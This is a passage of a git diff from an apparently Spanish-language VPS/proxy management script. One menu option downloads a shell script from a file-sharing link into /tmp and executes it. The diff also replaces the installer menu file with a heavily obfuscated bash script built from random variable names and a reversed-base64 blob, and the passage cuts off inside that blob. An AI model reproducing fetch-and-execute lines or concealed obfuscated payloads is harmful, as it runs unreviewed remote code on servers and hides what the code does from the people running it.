Enter";; +27) funDETSYS && read -p " Enter";; +28) BlockADS && read -p " Enter";; +29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";; +31) BlockADS && read -p " Enter";; +30) fun_bar 'fun_ports' && read -p " Enter";; +esac +done +#Reinicia ADM +fi + +} + + +[[ -z $1 ]] && protos diff --git a/Lista/menu_credito b/Lista/menu_credito deleted file mode 100644 index e5100c2..0000000 --- a/Lista/menu_credito +++ /dev/null @@ -1 +0,0 @@ -✧ | ᴅʀᴏᴡᴋɪᴅ | ✧ diff --git a/Lista/menu_inst b/Lista/menu_inst index 5e28ef9..d04360f 100755 --- a/Lista/menu_inst +++ b/Lista/menu_inst @@ -1,2 +1,3144 @@ #!/bin/bash -SHpnZYgkgMTEcGUkmsqlSuUpBPzfoedqKVHjgUlMCkstfqKOEMRDGMTcxuHyRsADnnIOWOplPmsNnmRMuIopHrmAEbQzrItzvarL="WaGFgacUKJwpjfxmmRYXhhOefDFCeetAWZeIQdSmKDLnepmHVtHCWTGkcDaHyalYwlhvNGxcLpYeOZgeXaSuzdIlhAteNJUqCbXf";WXufVoZPiRoEUaYLDqHnKNlvAKfkMqGzLRzJGWLwShhDnRmEgEGKsEGgnWVGqqUMHdUCxCNaYTXTMYUNDanOLDAzKJQIdYlMGcIq="hoYlKIrGMHDZsFpAHtWBwNwwBUYrYiSXfSytwViCaFfBOvMbYhhCxyPRSNZELzBWjsBnfDTQvhSinDkwtgZHkrOOvnUsswgVGNxM";pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq="ch";xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn="4";QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA="";CiDCdFfZOQCGRbxieNyCslQrVBuHfBEbUcUdVYVOlExHoHGlJjAWStVPoYlCzMISitcmusefpUMdEQtqvUspvoHYkddKHZpAkNpQ="NeqIXPGbyAivARJNspdcLyIuNmxgYrftzwGSZoVhIuzOWjNGAcFDdzkbVjWLhSMTRzBgYhsLCzUauLguoOIrdEMvROEgOAzznTIy";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